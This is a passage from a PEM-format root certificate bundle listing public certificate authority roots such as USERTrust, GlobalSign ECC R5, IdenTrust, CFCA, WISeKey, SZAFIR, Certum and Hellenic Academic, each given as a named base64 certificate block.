DQYJKoZIhvcNAQEMBQADggIBAArx1UaEt65Ru2yyTUEUAJNMnMvlwFTPoCWOAvn9sKIN9SCYPBMt
rFaisNZ+EZLpLrqeLppysb0ZRGxhNaKatBYSaVqM4dc+pBroLwP0rmEdEBsqpIt6xf4FpuHA1sj+
nq6PK7o9mfjYcwlYRm6mnPTXJ9OV2jeDchzTc+CiR5kDOF3VSXkAKRzH7JsgHAckaVd4sjn8OoSg
tZx8jb8uk2IntznaFxiuvTwJaP+EmzzV1gsD41eeFPfR60/IvYcjt7ZJQ3mFXLrrkguhxuhoqEwW
sRqZCuhTLJK7oQkYdQxlqHvLI7cawiiFwxv/0Cti76R7CZGYZ4wUAc1oBmpjIXUDgIiKboHGhfKp
pC3n9KUkEEeDys30jXlYsQab5xoq2Z0B15R97QNKyvDb6KkBPvVWmckejkk9u+UJueBPSZI9FoJA
zMxZxuY67RIuaTxslbH9qh17f4a+Hg4yRvv7E491f0yLS0Zj/gA0QHDBw7mh3aZw4gSzQbzpgJHq
ZJx64SIDqZxubw5lT2yHh17zbqD5daWbQOhTsiedSrnAdyGN/4fy3ryM7xfft0kL0fJuMAsaDk52
7RH89elWsn2/x20Kk4yl0MC2Hb46TpSi125sC8KKfPog88Tk5c0NqMuRkrF8hey1FGlmDoLnzc7I
LaZRfyHBNVOFBkpdn627G190
-----END CERTIFICATE-----

USERTrust RSA Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCBiDELMAkGA1UE
BhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQK
ExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UE
BhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQK
ExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCAEmUXNg7D2wiz
0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2j
Y0K2dvKpOyuR+OJv0OwWIJAJPuLodMkYtJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFn
RghRy4YUVD+8M/5+bJz/Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O
+T23LLb2VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT79uq
/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6c0Plfg6lZrEpfDKE
Y1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmTYo61Zs8liM2EuLE/pDkP2QKe6xJM
lXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97lc6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8
yexDJtC/QV9AqURE9JnnV4eeUB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+
eLf8ZxXhyVeEHg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd
BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF
MAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPFUp/L+M+ZBn8b2kMVn54CVVeW
FPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KOVWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ
7l8wXEskEVX/JJpuXior7gtNn3/3ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQ
Eg9zKC7F4iRO/Fjs8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM
8WcRiQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYzeSf7dNXGi
FSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZXHlKYC6SQK5MNyosycdi
yA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9c
J2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRBVXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGw
sAvgnEzDHNb842m1R0aBL6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gx
Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9
-----END CERTIFICATE-----

USERTrust ECC Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2
0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez
nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV
HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB
HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu
9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg=
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R5
===========================
-----BEGIN CERTIFICATE-----
MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6
SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS
h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx
uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7
yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3
-----END CERTIFICATE-----

IdenTrust Commercial Root CA 1
==============================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS
b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES
MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB
IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld
hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/
mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi
1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C
XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl
3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy
NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV
WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg
xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix
uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI
hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg
ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt
ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV
YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX
feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro
kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe
2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz
Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R
cGzM7vRX+Bi6hG6H
-----END CERTIFICATE-----

IdenTrust Public Sector Root CA 1
=================================
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv
ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV
UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS
b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy
P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6
Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI
rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf
qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS
mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn
ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh
LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v
iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL
4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B
Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw
DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj
t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A
mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt
GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt
m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx
NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4
Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI
ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC
ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ
3Wl9af0AVqW3rLatt8o+Ae+c
-----END CERTIFICATE-----

CFCA EV ROOT
============
-----BEGIN CERTIFICATE-----
MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE
CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB
IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw
MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD
DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV
BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD
7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN
uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW
ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7
xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f
py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K
gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol
hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ
tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf
BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB
/wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q
ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua
4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG
E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX
BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn
aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy
PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX
kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C
ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
-----END CERTIFICATE-----

OISTE WISeKey Global Root GB CA
===============================
-----BEGIN CERTIFICATE-----
MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBtMQswCQYDVQQG
EwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl
ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAw
MzJaFw0zOTEyMDExNTEwMzFaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYD
VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEds
b2JhbCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3HEokKtaX
scriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGxWuR51jIjK+FTzJlFXHtP
rby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk
9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNku7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4o
Qnc/nSMbsrY9gBQHTC5P99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvg
GUpuuy9rM2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZI
hvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrghcViXfa43FK8+5/ea4n32cZiZBKpD
dHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0
VQreUGdNZtGn//3ZwLWoo4rOZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEui
HZeeevJuQHHfaPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic
Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM=
-----END CERTIFICATE-----

SZAFIR ROOT CA2
===============
-----BEGIN CERTIFICATE-----
MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6ZW5pb3dhIFMuQS4xGDAWBgNV
BAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkwNzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJ
BgNVBAYTAlBMMSgwJgYDVQQKDB9LcmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYD
VQQDDA9TWkFGSVIgUk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5Q
qEvNQLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT3PSQ1hNK
DJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw3gAeqDRHu5rr/gsUvTaE
2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr63fE9biCloBK0TXC5ztdyO4mTp4CEHCdJ
ckm1/zuVnsHMyAHs6A6KCpbns6aH5db5BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwi
ieDhZNRnvDF5YTy7ykHNXGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsFAAOC
AQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw8PRBEew/R40/cof5
O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOGnXkZ7/e7DDWQw4rtTw/1zBLZpD67
oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCPoky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul
4+vJhaAlIDf7js4MNIThPIGyd05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6
+/NNIxuZMzSgLvWpCz/UXeHPhJ/iGcJfitYgHuNztw==
-----END CERTIFICATE-----

Certum Trusted Network CA 2
===========================
-----BEGIN CERTIFICATE-----
MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCBgDELMAkGA1UE
BhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMuQS4xJzAlBgNVBAsTHkNlcnR1
bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIGA1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29y
ayBDQSAyMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQ
TDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENl
cnRpZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENB
IDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWADGSdhhuWZGc/IjoedQF9
7/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+o
CgCXhVqqndwpyeI1B+twTUrWwbNWuKFBOJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40b
Rr5HMNUuctHFY9rnY3lEfktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2p
uTRZCr+ESv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1mo130
GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02isx7QBlrd9pPPV3WZ
9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOWOZV7bIBaTxNyxtd9KXpEulKkKtVB
Rgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgezTv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pye
hizKV/Ma5ciSixqClnrDvFASadgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vM
BhBgu4M1t15n3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZI
hvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQF/xlhMcQSZDe28cmk4gmb3DW
Al45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTfCVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuA
L55MYIR4PSFk1vtBHxgP58l1cb29XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMo
clm2q8KMZiYcdywmdjWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tM
pkT/WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jbAoJnwTnb
w3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksqP/ujmv5zMnHCnsZy4Ypo
J/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Kob7a6bINDd82Kkhehnlt4Fj1F4jNy3eFm
ypnTycUm/Q1oBEauttmbjL4ZvrHG8hnjXALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLX
is7VmFxWlgPF7ncGNf/P5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7
zAYspsbiDrW5viSP
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions RootCA 2015
=======================================================
-----BEGIN CERTIFICATE-----
MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcT
BkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0
aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl
YXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAx
MTIxWjCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMg
QWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNV
BAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIw
